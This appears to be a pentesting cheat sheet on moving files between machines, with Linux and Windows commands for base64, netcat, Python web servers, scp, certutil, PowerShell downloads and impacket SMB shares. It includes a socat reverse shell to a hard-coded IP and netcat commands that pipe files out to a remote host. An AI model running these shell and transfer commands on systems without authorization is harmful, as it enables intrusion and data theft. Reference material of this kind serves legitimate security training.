File Transfer

Listeners and binaries

Linux

base64

• Using base64 help to keep file integrity

• Check hashes to avoid file corruption

Generate hash

md5sum <file>

---

Encoding

Encode File + Redirect Output

base64 file.txt > hash.txt

Encode String + Redirect Output

echo "your_string_here" | base64 > encoded_file.txt

• In Base64 encoding, by default, some implementations add line breaks every 76 characters (following the RFC 2045 standard).

Encode File Without line break

base64 -w 0 <file>

Encode String without line breaks

echo -n "your_string_here" | base64 -w 0

---

Safe URL encoding

base64 -w 0 <file> | tr '+/' '-_' > url_safe_encoded.txt

Decoding

Decode String + Output to a file

echo <string> | base64 -d > <file>

Decode File + Output to a file

base64 -d -i <file> > <decoded_file>

Decode File without line breaks

base64 -d -w 0 file.txt > decoded_output.bin

---

Techniques

Python Web Server

Host

python3 -m http.server 443

---

Client

curl

curl -o IP:Port/file

wget

wget IP:Port/file

Netcat

Host

nc -lvp <Local_IP> > file

Client

nc <Target_IP> <port> < file

---

With cat

cat <file> | nc Target_IP 443

Apache

Copy a file into Apache Web Directory

• With the right permissions, you can copy the file to /var/www/html so it can be access from the URL http://<server-ip>/file.txt.

cp archivo.txt /var/www/html

• Enable permissions

Give ownership to the web user

sudo chown www-data:www-data /var/www/html/archivo.txt

Set the file to be read by everyone

sudo chmod 644 /var/www/html/archivo.txt

Uploading via Apache (web interface)

• Ensure the appropriate upload_max_filesize and post_max_size directives are set in the php.ini file.

• Normally is located here /etc/php/7.x/apache2/php.ini

upload_max_filesize = 50M
post_max_size = 50M

SSH (scp)

From local machine to remote host

scp localfile username@remotehost:/path/to/destination/

From remote host to local machine

scp username@remotehost:/path/to/remotefile /local/path/

From local to Apache Server

scp archivo.txt user@remote-server:/var/www/html/

Socat

Listener

socat file:`tty`,raw,echo=0 tcp-listen:4444

Target Machine

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Windows

certutil

First, start a python web server

python3 -m http.server 443

Then

certutil.exe -f -urlcache -split http://<IP>/<file>

Invoke-WebRequest

First, start a python web-server

python3 -m http.server 443

Then

IWR -uri http://<ip>/<file> -OutFile <file_name>

---

Powershell

powershell.exe iwr -uri http://<ip>/<file> -o <output_dest>

invoke PowerShell

powershell.exe -command iwr -Uri http://<ip>/<file> -OutFile <destino_output_file>

Impacket

First, create a SMB share folder

impacket-smbserver <share_name> <file_path> -smb2support

Then, copy the files

copy \\<ip>\share\<file> <destination_path>

curl/wget

curl

curl http://ip/file -o <output>

wget

wget http://ip/file -OutFile <output>

System.Net.WebClient

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://ip/file', '<output>')

Useful binaries

GitHub - andrew-d/static-binaries: Various *nix tools built as statically-linked binariesGitHub